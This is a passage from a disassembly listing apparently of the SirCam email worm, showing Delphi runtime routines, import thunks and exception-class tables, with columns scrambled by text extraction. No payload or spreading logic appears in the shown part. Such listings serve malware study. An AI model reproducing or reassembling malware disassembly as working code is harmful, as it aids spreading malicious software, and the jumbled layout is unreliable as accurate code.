; [00000006 BYTES: COLLAPSED FUNCTION j_StretchBlt. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_UnrealizeObject. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_CreateIcon. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_DestroyIcon. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_DestroyWindow. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_DrawIconEx. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetDC. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetIconInfo. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetSysColor. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetSystemMetrics. PRESS KEYPAD "+" TO EXPAND]
align 4
db 0FFh ;
db 25h ; %
db 0D0h ; Ð OFF32 SEGDEF [_idata,41F3D0]
db 0F3h ; ó
db 41h ; A
db
0 ;
sircam.asm
Fri Aug 10 12:42:44 2001
159
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_LoadStringA_0. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_MessageBoxA_0. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_ReleaseDC. PRESS KEYPAD "+" TO EXPAND]
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_405E7C
sub_405E7C
proc near
push
edx
push
eax
call
j_GlobalAlloc
push
eax
call
j_GlobalLock
retn
endp
; CODE XREF: sub_40DBA8+44\031p
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_405E8C
sub_405E8C
proc near
; CODE XREF: sub_40DBA8+5A\031p
push
ecx
push
edx
push
eax
call
j_GlobalHandle
push
eax
push
eax
call
j_GlobalUnlock
call
j_GlobalReAlloc
push
eax
call
j_GlobalLock
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_405EA8
sub_405EA8
proc near
push
eax
call
j_GlobalHandle
push
eax
push
eax
call
j_GlobalUnlock
call
j_GlobalFree
retn
endp
; CODE XREF: sub_40DBA8+2D\031p
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_405EBC
proc near
; DATA XREF: CODE:0041A8F0\031o
push
ebp
mov
ebp, esp
xor
eax, eax
push
ebp
push
offset loc_405EE1
push
dword ptr fs:[eax]
sircam.asm
Fri Aug 10 12:42:44 2001
mov
inc
xor
pop
pop
pop
mov
push
160
fs:[eax], esp
ds:dword_41E4E0
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_405EE8
locret_405EE0:
; CODE XREF: sub_405EBC+2A\031j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_405EE1:
; DATA XREF: sub_405EBC+6\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short locret_405EE0
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_405EE8:
sub_405EBC
; CODE XREF: sub_405EBC+24\030j
; DATA XREF: sub_405EBC+1F\030o
pop
ebp
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_405EEC:
; DATA XREF: CODE:0041A8EC\031o
sub
ds:dword_41E4E0, 1
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
off_405EF4
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DBA8\031o
dd 0FFF0h
off_405EFC
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DC04\031o
dd 0FFF1h
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DB10\031o
dd 0FFF2h
off_405F0C
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DB08\031o
dd 0FFF3h
off_405F14
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DB78\031o
dd 0FFF4h
off_405F1C
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DC58\031o
dd 0FFF5h
off_405F24
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DABC\031o
dd 0FFF6h
off_405F2C
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DC08\031o
dd 0FFF7h
off_405F34
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DBD0\031o
dd 0FFF8h
off_405F3C
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DAF4\031o
dd 0FFF9h
off_405F44
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DB18\031o
dd 0FFFAh
off_405F4C
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DC64\031o
dd 0FFFBh
off_405F54
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DC60\031o
dd 0FFFCh
off_405F5C
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DB7C\031o
dd 0FFFDh
off_405F64
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DC70\031o
dd 0FFFEh
off_405F6C
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DC80\031o
dd 0FFFFh
off_405F74
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DBD4\031o
dd 0FFE0h
off_405F7C
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DBE4\031o
dd 0FFE1h
off_405F84
dd offset dword_41E4D4 ; DATA XREF: DATA:0041DBDC\031o
dd 0FFE2h
sircam.asm
off_405F8C
Fri Aug 10 12:42:44 2001
off_405FC4
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
off_405FCC
dd 0FFEAh
dd offset dword_41E4D4
off_405F94
off_405F9C
off_405FA4
off_405FAC
off_405FB4
off_405FBC
offset
0FFE3h
offset
0FFE4h
offset
0FFE5h
offset
0FFE6h
offset
0FFE7h
offset
0FFE8h
offset
0FFE9h
offset
; DATA XREF: DATA:0041DC7C\031o
dword_41E4D4
; DATA XREF: DATA:0041DC50\031o
dword_41E4D4
; DATA XREF: DATA:0041DB68\031o
dword_41E4D4
; DATA XREF: DATA:0041DB6C\031o
dword_41E4D4
; DATA XREF: DATA:0041DC5C\031o
dword_41E4D4
; DATA XREF: DATA:0041DC78\031o
dword_41E4D4
; DATA XREF: DATA:0041DB0C\031o
dword_41E4D4
; DATA XREF: DATA:0041C14C\031o
; DATA:0041DB1C\031o
off_40605C
off_406064
dd 0FFDDh
dd offset dword_41E4D4
off_40606C
dd 0FFDEh
dd offset dword_41E4D4
off_406074
dd 0FFDFh
dd offset dword_41E4D4
off_40607C
dd 0FFC0h
dd offset dword_41E4D4
off_406084
dd 0FFC1h
dd offset dword_41E4D4
off_405FDC
off_405FE4
off_405FEC
off_405FF4
off_405FFC
off_406004
off_40600C
off_406014
off_40601C
off_406024
off_40602C
off_40603C
off_406044
off_40604C
off_406054
0FFEBh
offset
0FFECh
offset
0FFEDh
offset
0FFEEh
offset
0FFEFh
offset
0FFD0h
offset
0FFD1h
offset
0FFD2h
offset
0FFD3h
offset
0FFD4h
offset
0FFD5h
offset
0FFD6h
offset
0FFD7h
offset
0FFD8h
offset
0FFD9h
offset
0FFDAh
offset
0FFDBh
offset
0FFDCh
offset
dword_41E4D4
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
off_405FD4
161
; DATA XREF: DATA:0041C150\031o
; DATA:0041DB80\031o
dword_41E4D4
; DATA XREF: DATA:0041DBBC\031o
dword_41E4D4
; DATA XREF: DATA:0041DBA4\031o
dword_41E4D4
; DATA XREF: DATA:0041DAB8\031o
dword_41E4D4
; DATA XREF: DATA:0041DC88\031o
dword_41E4D4
; DATA XREF: DATA:0041DBF8\031o
dword_41E4D4
; DATA XREF: DATA:0041DB88\031o
dword_41E4D4
; DATA XREF: DATA:0041DB3C\031o
dword_41E4D4
; DATA XREF: DATA:0041DC20\031o
dword_41E4D4
; DATA XREF: DATA:0041DAD8\031o
dword_41E4D4
; DATA XREF: DATA:0041DC0C\031o
dword_41E4D4
; DATA XREF: DATA:0041DB98\031o
dword_41E4D4
; DATA XREF: DATA:0041DBF4\031o
dword_41E4D4
; DATA XREF: DATA:0041DC40\031o
dword_41E4D4
; DATA XREF: DATA:0041DB20\031o
dword_41E4D4
; DATA XREF: DATA:0041DC28\031o
dword_41E4D4
; DATA XREF: DATA:0041DAE8\031o
dword_41E4D4
; DATA XREF: DATA:0041DB40\031o
dword_41E4D4
; DATA XREF: DATA:0041C160\031o
; DATA:0041DC74\031o
; DATA XREF: DATA:0041C164\031o
; DATA:0041DBC0\031o
; DATA XREF: DATA:0041C168\031o
; DATA:0041DC4C\031o
; DATA XREF: DATA:0041C16C\031o
; DATA:0041DAB4\031o
; DATA XREF: DATA:0041C170\031o
; DATA:0041DAEC\031o
; DATA XREF: DATA:0041C174\031o
sircam.asm
Fri Aug 10 12:42:44 2001
162
; DATA:0041DC8C\031o
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
0FFh
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
off_40608C
dd offset dword_41E4D4 ; DATA XREF: DATA:0041C178\031o
; DATA:0041DC3C\031o
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
db 0FFh, 2 dup(0)
off_406094
dd offset dword_41E4D4 ; DATA XREF: DATA:0041C17C\031o
; DATA:0041DACC\031o
dd 0FFC4h
off_40609C
dd offset dword_41E4D4 ; DATA XREF: DATA:0041C180\031o
; DATA:0041DB14\031o
dd 0FFC5h
off_4060A4
dd offset dword_41E4D4 ; DATA XREF: DATA:0041C184\031o
; DATA:0041DBC4\031o
dd 0FFC6h
off_4060AC
dd offset dword_41E4D4 ; DATA XREF: DATA:0041C188\031o
; DATA:0041DC44\031o
dd 0FFC7h
off_4060B4
dd offset dword_41E4D4 ; DATA XREF: DATA:0041C18C\031o
; DATA:0041DC68\031o
dd 0FFC8h
off_4060BC
dd offset dword_41E4D4 ; DATA XREF: DATA:0041C190\031o
; DATA:0041DB8C\031o
dd 0FFC9h
off_4060C4
dd offset dword_41E4D4 ; DATA XREF: DATA:0041C194\031o
; DATA:0041DAC0\031o
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retf
0FFh
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
off_4060CC
dd offset dword_41E4D4 ; DATA XREF: DATA:0041C198\031o
; DATA:0041DB50\031o
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retf
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
db 0FFh, 2 dup(0)
off_4060D4
dd offset dword_41E4D4 ; DATA XREF: DATA:0041C19C\031o
; DATA:0041DBAC\031o
dd 0FFCCh
off_4060DC
dd offset dword_41E4D4 ; DATA XREF: DATA:0041C1A0\031o
; DATA:0041DBD8\031o
dd 0FFCDh
off_4060E4
dd offset dword_41E4D4 ; DATA XREF: DATA:0041C1A4\031o
; DATA:0041DBA0\031o
dd 0FFCEh
off_4060EC
dd offset dword_41E4D4 ; DATA XREF: DATA:0041C1A8\031o
; DATA:0041DB2C\031o
dd 0FFCFh
off_4060F4
dd offset dword_41E4D4 ; DATA XREF: DATA:0041C1AC\031o
; DATA:0041DBB0\031o
dd 0FFB0h
off_4060FC
dd offset dword_41E4D4 ; DATA XREF: DATA:0041C1B0\031o
; DATA:0041DC10\031o
dd 0FFB1h
off_406104
dd offset dword_41E4D4 ; DATA XREF: DATA:0041C1B4\031o
; DATA:0041DAC4\031o
dd 0FFB2h
off_40610C
dd offset dword_41E4D4 ; DATA XREF: DATA:0041C1B8\031o
; DATA:0041DB34\031o
dd 0FFB3h
off_406114
dd offset dword_41E4D4 ; DATA XREF: DATA:0041C1BC\031o
; DATA:0041DB64\031o
dd 0FFB4h
off_40611C
dd offset dword_41E4D4 ; DATA XREF: DATA:0041C1C0\031o
; DATA:0041DBEC\031o
sircam.asm
Fri Aug 10 12:42:44 2001
off_406124
dd 0FFB5h
dd offset dword_41E4D4
off_40612C
dd 0FFB6h
dd offset dword_41E4D4
off_406134
dd 0FFB7h
dd offset dword_41E4D4
off_40613C
dd 0FFB8h
dd offset dword_41E4D4
off_406144
dd 0FFB9h
dd offset dword_41E4D4
off_40614C
dd 0FFBAh
dd offset dword_41E4D4
off_406154
dd 0FFBBh
dd offset dword_41E4D4
off_40615C
dd 0FFBCh
dd offset dword_41E4D4
off_406164
dd 0FFBDh
dd offset dword_41E4D4
off_40616C
dd 0FFBEh
dd offset dword_41E4D4
off_406174
dd 0FFBFh
dd offset dword_41E4D4
off_40617C
dd 0FFA0h
dd offset dword_41E4D4
off_406184
dd 0FFA1h
dd offset dword_41E4D4
163
; DATA XREF: DATA:0041C1C4\031o
; DATA:0041DC14\031o
; DATA XREF: DATA:0041C1C8\031o
; DATA:0041DC1C\031o
; DATA XREF: DATA:0041C1CC\031o
; DATA:0041DBC8\031o
; DATA XREF: DATA:0041C1D0\031o
; DATA:0041DAFC\031o
; DATA XREF: DATA:0041C1D4\031o
; DATA:0041DBE0\031o
; DATA XREF: DATA:0041C1D8\031o
; DATA:0041DB74\031o
; DATA XREF: DATA:0041C1DC\031o
; DATA:0041DAE4\031o
; DATA XREF: DATA:0041C1E0\031o
; DATA:0041DAF8\031o
; DATA XREF: DATA:0041C1E4\031o
; DATA:0041DB00\031o
; DATA XREF: DATA:0041C1E8\031o
; DATA:0041DAC8\031o
; DATA XREF: DATA:0041C1EC\031o
; DATA:0041DC00\031o
; DATA XREF: DATA:0041C1F0\031o
; DATA:0041DADC\031o
; DATA XREF: DATA:0041C1F4\031o
; DATA:0041DC48\031o
dd 0FFA2h
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40618C
proc near
; DATA XREF: CODE:0041A908\031o
push
ebp
mov
ebp, esp
xor
eax, eax
push
ebp
push
offset loc_4061B1
push
dword ptr fs:[eax]
mov
fs:[eax], esp
inc
ds:dword_41E4E4
xor
eax, eax
pop
edx
pop
ecx
pop
ecx
mov
fs:[eax], edx
push
offset loc_4061B8
locret_4061B0:
; CODE XREF: sub_40618C+2A\031j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4061B1:
; DATA XREF: sub_40618C+6\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short locret_4061B0
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
loc_4061B8:
sub_40618C
164
; CODE XREF: sub_40618C+24\030j
; DATA XREF: sub_40618C+1F\030o
pop
ebp
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_4061BC:
; DATA XREF: CODE:0041A904\031o
sub
ds:dword_41E4E4, 1
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
off_4061C4
dd offset dword_4061C8 ; DATA XREF: CODE:004061EC\031o
dword_4061C8
dd 4654090Ah, 4E656C69h, 90656D61h ; DATA XREF: CODE:004061C4\030o
off_4061D4
dd offset dword_4061D8 ; DATA XREF: sub_417928+58\031r
; sub_417928+28A\031r
dword_4061D8
dd 53540A0Eh, 63726165h, 63655268h, 158h, 1 ; DATA XREF: CODE:004061D4
\030o
dd offset off_4061C4
dd 0Ch
off_4061F4
dd offset dword_406240 ; DATA XREF: CODE:00406284\031o
; CODE:0040633C\031o ...
align 10h
dd offset dword_406240
dd 4 dup(0)
dd offset dword_406252
dd 0Ch
dd offset off_40100C
dd offset loc_402CA0
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_402CB4
dd offset nullsub_4
dd offset loc_402B70
dd offset sub_402B84
dd offset sub_402BCC
dword_406240
dd 0Eh, 10000h
; DATA XREF: CODE:004061F4\030o
; CODE:00406200\030o
db 2 dup(0)
dd offset off_401000
dd 4
dword_406252
dd 63784509h, 69747065h ; DATA XREF: CODE:00406214\030o
db 6Fh, 6Eh
off_40625C
dd offset dword_4062A8 ; DATA XREF: CODE:004062E0\031o
; CODE:00406768\031o
dd 7 dup(0)
dd offset dword_4062A8
dd 10h
dd offset off_4061F4
dd offset loc_402CA0
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_402CB4
dd offset nullsub_4
dd offset loc_402B70
dd offset loc_4095DC
dd offset sub_402BCC
dword_4062A8
dd 6548450Eh, 78457061h, 74706563h, 906E6F69h ; DATA XREF: CODE:0040625C
\030o
; CODE:0040627C\030o
off_4062B8
dd offset dword_406304 ; DATA XREF: sub_409B0C+27\031r
; CODE:0040B828\031o
dd 7 dup(0)
dd offset dword_406304
dd 10h
dd offset off_40625C
dd offset loc_402CA0
dd offset nullsub_2
sircam.asm
dword_406304
\030o
Fri Aug 10 12:42:44 2001
dd
dd
dd
dd
dd
dd
dd
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset loc_4095DC
offset sub_402BCC
754F450Ch, 4D664F74h, 726F6D65h, 408D79h ; DATA XREF: CODE:004062B8
off_406314
dd offset dword_406360
dword_406360
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
off_40636C
dd
dword_4063B8
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
off_4063C4
dword_406410
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
off_406424
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
165
; CODE:004062D8\030o
; DATA XREF: sub_409608+2D\031r
; sub_409608+4C\031r
7 dup(0)
offset dword_406360
10h
offset off_4061F4
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_402BCC
6E49450Bh, 4574754Fh, 726F7272h ; DATA XREF: CODE:00406314\030o
; CODE:00406334\030o
offset dword_4063B8 ; DATA XREF: CODE:004063EC\031o
; CODE:0040644C\031o ...
7 dup(0)
offset dword_4063B8
10h
offset off_4061F4
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_402BCC
78454509h, 6E726574h, 0C08B6C61h ; DATA XREF: CODE:0040636C\030o
; CODE:0040638C\030o
offset dword_406410 ; DATA XREF: sub_409A30+82\031r
7 dup(0)
offset dword_406410
10h
offset off_40636C
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_402BCC
78454512h, 6E726574h, 78456C61h, 74706563h, 906E6F69h
; DATA XREF: CODE:004063C4\030o
; CODE:004063E4\030o ...
offset dword_406470 ; DATA XREF: CODE:004064A4\031o
; CODE:004064FC\031o ...
7 dup(0)
offset dword_406470
10h
offset off_40636C
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
sircam.asm
dword_406470
dword_4064C8
dword_406520
dword_406578
\030o
Fri Aug 10 12:42:44 2001
166
dd offset sub_402BCC
dd 6E494509h, 72724574h, 0C08B726Fh ; DATA XREF: CODE:00406424\030o
; CODE:00406444\030o
dd offset dword_4064C8
dd 7 dup(0)
dd offset dword_4064C8
dd 10h
dd offset off_406424
dd offset loc_402CA0
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_402CB4
dd offset nullsub_4
dd offset loc_402B70
dd offset sub_402B84
dd offset sub_402BCC
dd 6944450Ah, 5A794276h, 906F7265h ; DATA XREF: CODE:0040647C\030o
; CODE:0040649C\030o ...
dd offset dword_406520
dd 7 dup(0)
dd offset dword_406520
dd 10h
dd offset off_406424
dd offset loc_402CA0
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_402CB4
dd offset nullsub_4
dd offset loc_402B70
dd offset sub_402B84
dd offset sub_402BCC
dd 6152450Bh, 4565676Eh, 726F7272h ; DATA XREF: CODE:004064D4\030o
; CODE:004064F4\030o ...
dd offset dword_406578
dd 7 dup(0)
dd offset dword_406578
dd 10h
dd offset off_406424
dd offset loc_402CA0
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_402CB4
dd offset nullsub_4
dd offset loc_402B70
dd offset sub_402B84
dd offset sub_402BCC
dd 6E49450Ch, 65764F74h, 6F6C6672h, 408D77h ; DATA XREF: CODE:0040652C
off_406588
dd offset dword_4065D4
dword_4065D4
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
; CODE:0040654C\030o ...
; DATA XREF: CODE:00406608\031o
; CODE:00406660\031o ...
7 dup(0)
offset dword_4065D4
10h
offset off_40636C
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_402BCC
614D450Ah, 72456874h, 90726F72h ; DATA XREF: CODE:00406588\030o
; CODE:004065A8\030o
offset dword_40662C
7 dup(0)
offset dword_40662C
10h
offset off_406588
sircam.asm
Fri Aug 10 12:42:44 2001
dword_40662C
dd
dd
dd
dd
dd
dd
dd
dd
dd
dword_406684
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dword_4066DC
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dword_406734
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
off_406740
dword_40678C
\030o
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
167
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_402BCC
6E49450Ah, 696C6176h, 90704F64h ; DATA XREF: CODE:004065E0\030o
; CODE:00406600\030o ...
offset dword_406684
7 dup(0)
offset dword_406684
10h
offset off_406588
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_402BCC
655A450Bh, 69446F72h, 65646976h ; DATA XREF: CODE:00406638\030o
; CODE:00406658\030o ...
offset dword_4066DC
7 dup(0)
offset dword_4066DC
10h
offset off_406588
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_402BCC
764F4509h, 6C667265h, 0C08B776Fh ; DATA XREF: CODE:00406690\030o
; CODE:004066B0\030o ...
offset dword_406734
7 dup(0)
offset dword_406734
10h
offset off_406588
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_402BCC
6E55450Ah, 66726564h, 90776F6Ch ; DATA XREF: CODE:004066E8\030o
; CODE:00406708\030o ...
offset dword_40678C ; DATA XREF: sub_409B0C+48\031r
7 dup(0)
offset dword_40678C
10h
offset off_40625C
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset loc_4095DC
offset sub_402BCC
